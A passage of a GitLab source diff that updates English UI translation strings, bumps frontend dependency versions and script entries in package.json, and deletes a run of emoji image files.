-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31023,6 +31759,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31065,9 +31810,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31095,7 +31837,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31200,6 +31942,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31396,10 +32141,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31534,9 +32279,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31591,6 +32333,12 @@ msgstr ""
msgid "URL"
msgstr "URL"
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -31993,7 +32741,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32002,6 +32750,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32098,6 +32849,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32296,9 +33050,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32350,6 +33101,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32395,7 +33149,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32623,9 +33380,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32692,7 +33446,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32701,6 +33470,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -32850,9 +33625,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -32880,6 +33661,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -32889,6 +33673,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33294,15 +34081,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33477,6 +34279,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33574,9 +34379,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33649,34 +34451,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33688,9 +34505,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33703,9 +34517,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33766,6 +34577,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -33922,6 +34736,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34063,6 +34883,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34147,9 +34970,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34186,12 +35006,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34225,7 +35039,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34240,9 +35054,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34426,12 +35237,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34552,6 +35369,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34645,7 +35465,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34751,6 +35571,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35052,6 +35875,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35231,6 +36063,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35400,7 +36235,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35434,13 +36269,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35554,9 +36386,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35707,18 +36536,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35749,9 +36572,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -35818,15 +36638,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36099,9 +36910,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36147,6 +36955,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/package.json b/package.json
index 978b9079aaa..a1db0434eb1 100644
--- a/package.json
+++ b/package.json
@@ -5,13 +5,10 @@
"block-dependencies": "node scripts/frontend/block_dependencies.js",
"clean": "rm -rf public/assets tmp/cache/*-loader",
"dev-server": "NODE_OPTIONS=\"--max-old-space-size=3584\" node scripts/frontend/webpack_dev_server.js",
- "eslint-fix": "echo 'Please use `yarn lint:eslint:all:fix` instead' && exit 1",
- "eslint-staged": "echo 'Please use `yarn lint:eslint:staged` instead' && exit 1",
- "eslint-staged-fix": "echo 'Please use `yarn lint:eslint:staged:fix` instead' && exit 1",
- "eslint-report": "echo 'Please use `yarn lint:eslint:report` instead' && exit 1",
"file-coverage": "scripts/frontend/file_test_coverage.js",
"lint-docs": "scripts/lint-doc.sh",
"internal:eslint": "eslint --cache --max-warnings 0 --report-unused-disable-directives --ext .js,.vue",
+ "internal:stylelint": "stylelint -q '{ee/,}app/assets/stylesheets/**/*.{css,scss}'",
"prejest": "yarn check-dependencies",
"jest": "jest --config jest.config.js",
"jest-debug": "node --inspect-brk node_modules/.bin/jest --runInBand",
@@ -32,16 +29,12 @@
"lint:prettier:fix": "yarn run prettier --write '**/*.{graphql,js,vue}'",
"lint:prettier:staged": "scripts/frontend/execute-on-staged-files.sh prettier '(graphql|js|vue)' --check",
"lint:prettier:staged:fix": "scripts/frontend/execute-on-staged-files.sh prettier '(graphql|js|vue)' --write",
- "lint:stylelint": "stylelint -q '{ee/,}app/assets/stylesheets/**/*.{css,scss}'",
+ "lint:stylelint": "stylelint '{ee/,}app/assets/stylesheets/**/*.{css,scss}'",
"lint:stylelint:fix": "yarn run lint:stylelint --fix",
"lint:stylelint:staged": "scripts/frontend/execute-on-staged-files.sh stylelint '(css|scss)' -q",
"lint:stylelint:staged:fix": "yarn run lint:stylelint:staged --fix",
"markdownlint": "markdownlint --config .markdownlint.json",
"postinstall": "node ./scripts/frontend/postinstall.js",
- "prettier-all": "echo 'Please use `yarn lint:prettier` instead' && exit 1",
- "prettier-all-save": "echo 'Please use `yarn lint:prettier:fix` instead' && exit 1",
- "prettier-staged": "echo 'Please use `yarn lint:prettier:staged` instead' && exit 1",
- "prettier-staged-save": "echo 'Please use `yarn lint:prettier:staged:fix` instead' && exit 1",
"stylelint-create-utility-map": "node scripts/frontend/stylelint/stylelint-utility-map.js",
"webpack": "NODE_OPTIONS=\"--max-old-space-size=3584\" webpack --config config/webpack.config.js",
"webpack-vendor": "NODE_OPTIONS=\"--max-old-space-size=3584\" webpack --config config/webpack.vendor.config.js",
@@ -56,16 +49,16 @@
"@babel/preset-env": "^7.10.1",
"@gitlab/at.js": "1.5.7",
"@gitlab/favicon-overlay": "2.0.0",
- "@gitlab/svgs": "1.185.0",
+ "@gitlab/svgs": "1.189.0",
"@gitlab/tributejs": "1.0.0",
- "@gitlab/ui": "28.9.1",
+ "@gitlab/ui": "29.6.0",
"@gitlab/visual-review-tools": "1.6.1",
"@rails/actioncable": "^6.0.3-4",
"@rails/ujs": "^6.0.3-4",
"@sentry/browser": "^5.22.3",
"@sourcegraph/code-host-integration": "0.0.52",
- "@toast-ui/editor": "^2.5.1",
- "@toast-ui/vue-editor": "^2.5.1",
+ "@toast-ui/editor": "^2.5.2",
+ "@toast-ui/vue-editor": "^2.5.2",
"apollo-cache-inmemory": "^1.6.6",
"apollo-client": "^2.6.10",
"apollo-link": "^1.2.14",
@@ -84,7 +77,7 @@
"codesandbox-api": "0.0.23",
"compression-webpack-plugin": "^5.0.2",
"copy-webpack-plugin": "^5.1.2",
- "core-js": "^3.9.1",
+ "core-js": "^3.10.2",
"cron-validator": "^1.1.1",
"cropper": "^2.3.0",
"css-loader": "^2.1.1",
@@ -103,7 +96,7 @@
"emoji-unicode-version": "^0.2.1",
"exports-loader": "^0.7.0",
"fast-mersenne-twister": "1.0.2",
- "file-loader": "^5.1.0",
+ "file-loader": "^6.2.0",
"fuzzaldrin-plus": "^0.6.0",
"graphql": "^15.4.0",
"graphql-tag": "^2.11.0",
@@ -121,10 +114,10 @@
"lodash": "^4.17.20",
"marked": "^0.3.12",
"mathjax": "3",
- "mermaid": "^8.9.0",
+ "mermaid": "^8.9.2",
"minimatch": "^3.0.4",
"monaco-editor": "^0.20.0",
- "monaco-editor-webpack-plugin": "^1.9.0",
+ "monaco-editor-webpack-plugin": "^1.9.1",
"monaco-yaml": "^2.5.1",
"mousetrap": "1.6.5",
"pdfjs-dist": "^2.0.943",
@@ -149,7 +142,7 @@
"tiptap": "^1.32.1",
"tiptap-commands": "^1.17.1",
"tiptap-extensions": "^1.35.1",
- "url-loader": "^3.0.0",
+ "url-loader": "^4.1.1",
"uuid": "8.1.0",
"visibilityjs": "^1.2.4",
"vue": "^2.6.12",
@@ -157,12 +150,12 @@
"vue-loader": "^15.9.6",
"vue-router": "3.4.9",
"vue-template-compiler": "^2.6.12",
- "vue-virtual-scroll-list": "^1.4.4",
+ "vue-virtual-scroll-list": "^1.4.7",
"vuedraggable": "^2.23.0",
"vuex": "^3.6.0",
"web-vitals": "^0.2.4",
"webpack": "^4.46.0",
- "webpack-bundle-analyzer": "^3.9.0",
+ "webpack-bundle-analyzer": "^4.4.1",
"webpack-cli": "^3.3.12",
"webpack-stats-plugin": "^0.3.1",
"worker-loader": "^2.0.0",
@@ -170,7 +163,7 @@
},
"devDependencies": {
"@babel/plugin-transform-modules-commonjs": "^7.10.1",
- "@gitlab/eslint-plugin": "8.1.0",
+ "@gitlab/eslint-plugin": "8.2.0",
"@gitlab/stylelint-config": "2.3.0",
"@testing-library/dom": "^7.16.2",
"@vue/test-utils": "1.1.2",
@@ -183,11 +176,11 @@
"commander": "^2.18.0",
"custom-jquery-matchers": "^2.1.0",
"docdash": "^1.0.2",
- "eslint": "7.21.0",
+ "eslint": "7.24.0",
"eslint-import-resolver-jest": "3.0.0",
"eslint-import-resolver-webpack": "0.13.0",
"eslint-plugin-jasmine": "4.1.2",
- "eslint-plugin-no-jquery": "2.5.0",
+ "eslint-plugin-no-jquery": "2.6.0",
"gettext-extractor": "^3.5.3",
"gettext-extractor-vue": "^5.0.0",
"glob": "^7.1.6",
diff --git a/public/-/emojis/2/100.png b/public/-/emojis/2/100.png
deleted file mode 100644
index b711a16e912..00000000000
--- a/public/-/emojis/2/100.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/1234.png b/public/-/emojis/2/1234.png
deleted file mode 100644
index d75881a8c68..00000000000
--- a/public/-/emojis/2/1234.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/1f3cf.png b/public/-/emojis/2/1f3cf.png
deleted file mode 100644
index 09f6d3422da..00000000000
--- a/public/-/emojis/2/1f3cf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/1f468-1f469-1f466.png b/public/-/emojis/2/1f468-1f469-1f466.png
deleted file mode 100644
index 0153a1dad02..00000000000
--- a/public/-/emojis/2/1f468-1f469-1f466.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/1f469-2764-1f468.png b/public/-/emojis/2/1f469-2764-1f468.png
deleted file mode 100644
index 4faf03ab3ee..00000000000
--- a/public/-/emojis/2/1f469-2764-1f468.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/1f5fe.png b/public/-/emojis/2/1f5fe.png
deleted file mode 100644
index ff7681e0814..00000000000
--- a/public/-/emojis/2/1f5fe.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/1f983.png b/public/-/emojis/2/1f983.png
deleted file mode 100644
index 73627ea8b8b..00000000000
--- a/public/-/emojis/2/1f983.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/26f9-1f3fb.png b/public/-/emojis/2/26f9-1f3fb.png
deleted file mode 100644
index ca0eb643c0b..00000000000
--- a/public/-/emojis/2/26f9-1f3fb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/26f9-1f3fc.png b/public/-/emojis/2/26f9-1f3fc.png
deleted file mode 100644
index 1b23a5601cb..00000000000
--- a/public/-/emojis/2/26f9-1f3fc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/26f9-1f3fd.png b/public/-/emojis/2/26f9-1f3fd.png
deleted file mode 100644
index 3a3ac904aab..00000000000
--- a/public/-/emojis/2/26f9-1f3fd.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/26f9-1f3fe.png b/public/-/emojis/2/26f9-1f3fe.png
deleted file mode 100644
index e76f04c7ef4..00000000000
--- a/public/-/emojis/2/26f9-1f3fe.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/26f9-1f3ff.png b/public/-/emojis/2/26f9-1f3ff.png
deleted file mode 100644
index 19a4f769801..00000000000
--- a/public/-/emojis/2/26f9-1f3ff.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/8ball.png b/public/-/emojis/2/8ball.png
deleted file mode 100644
index be80185e9d1..00000000000
--- a/public/-/emojis/2/8ball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/a.png b/public/-/emojis/2/a.png
deleted file mode 100644
index 1ae6559c5f1..00000000000
--- a/public/-/emojis/2/a.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ab.png b/public/-/emojis/2/ab.png
deleted file mode 100644
index 7033b81c227..00000000000
--- a/public/-/emojis/2/ab.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/abacus.png b/public/-/emojis/2/abacus.png
deleted file mode 100644
index 5628b0eb5fd..00000000000
--- a/public/-/emojis/2/abacus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/abc.png b/public/-/emojis/2/abc.png
deleted file mode 100644
index c95c9fb7f56..00000000000
--- a/public/-/emojis/2/abc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/abcd.png b/public/-/emojis/2/abcd.png
deleted file mode 100644
index a5f019f33b5..00000000000
--- a/public/-/emojis/2/abcd.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/accept.png b/public/-/emojis/2/accept.png
deleted file mode 100644
index 1305c058210..00000000000
--- a/public/-/emojis/2/accept.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/adult.png b/public/-/emojis/2/adult.png
deleted file mode 100644
index b6e7729b075..00000000000
--- a/public/-/emojis/2/adult.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/adult_tone1.png b/public/-/emojis/2/adult_tone1.png
deleted file mode 100644
index a4895b8b459..00000000000
--- a/public/-/emojis/2/adult_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/adult_tone2.png b/public/-/emojis/2/adult_tone2.png
deleted file mode 100644
index 07d9a3db426..00000000000
--- a/public/-/emojis/2/adult_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/adult_tone3.png b/public/-/emojis/2/adult_tone3.png
deleted file mode 100644
index 89f2e4b574c..00000000000
--- a/public/-/emojis/2/adult_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/adult_tone4.png b/public/-/emojis/2/adult_tone4.png
deleted file mode 100644
index a1bd33b5050..00000000000
--- a/public/-/emojis/2/adult_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/adult_tone5.png b/public/-/emojis/2/adult_tone5.png
deleted file mode 100644
index 2b9e568760b..00000000000
--- a/public/-/emojis/2/adult_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/aerial_tramway.png b/public/-/emojis/2/aerial_tramway.png
deleted file mode 100644
index 43c087896db..00000000000
--- a/public/-/emojis/2/aerial_tramway.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/airplane.png b/public/-/emojis/2/airplane.png
deleted file mode 100644
index 659c2ca0970..00000000000
--- a/public/-/emojis/2/airplane.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/airplane_arriving.png b/public/-/emojis/2/airplane_arriving.png
deleted file mode 100644
index eb75d6b614e..00000000000
--- a/public/-/emojis/2/airplane_arriving.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/airplane_departure.png b/public/-/emojis/2/airplane_departure.png
deleted file mode 100644
index bcfa0c9b18c..00000000000
--- a/public/-/emojis/2/airplane_departure.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/airplane_small.png b/public/-/emojis/2/airplane_small.png
deleted file mode 100644
index e442d8692a4..00000000000
--- a/public/-/emojis/2/airplane_small.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/alarm_clock.png b/public/-/emojis/2/alarm_clock.png
deleted file mode 100644
index 7c112b48af6..00000000000
--- a/public/-/emojis/2/alarm_clock.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/alembic.png b/public/-/emojis/2/alembic.png
deleted file mode 100644
index 70aeae47538..00000000000
--- a/public/-/emojis/2/alembic.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/alien.png b/public/-/emojis/2/alien.png
deleted file mode 100644
index ace29462bcc..00000000000
--- a/public/-/emojis/2/alien.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ambulance.png b/public/-/emojis/2/ambulance.png
deleted file mode 100644
index 7cb376eb567..00000000000
--- a/public/-/emojis/2/ambulance.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/amphora.png b/public/-/emojis/2/amphora.png
deleted file mode 100644
index cb4c2600726..00000000000
--- a/public/-/emojis/2/amphora.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/anchor.png b/public/-/emojis/2/anchor.png
deleted file mode 100644
index f8a6df0c8fa..00000000000
--- a/public/-/emojis/2/anchor.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/angel.png b/public/-/emojis/2/angel.png
deleted file mode 100644
index ecce6602785..00000000000
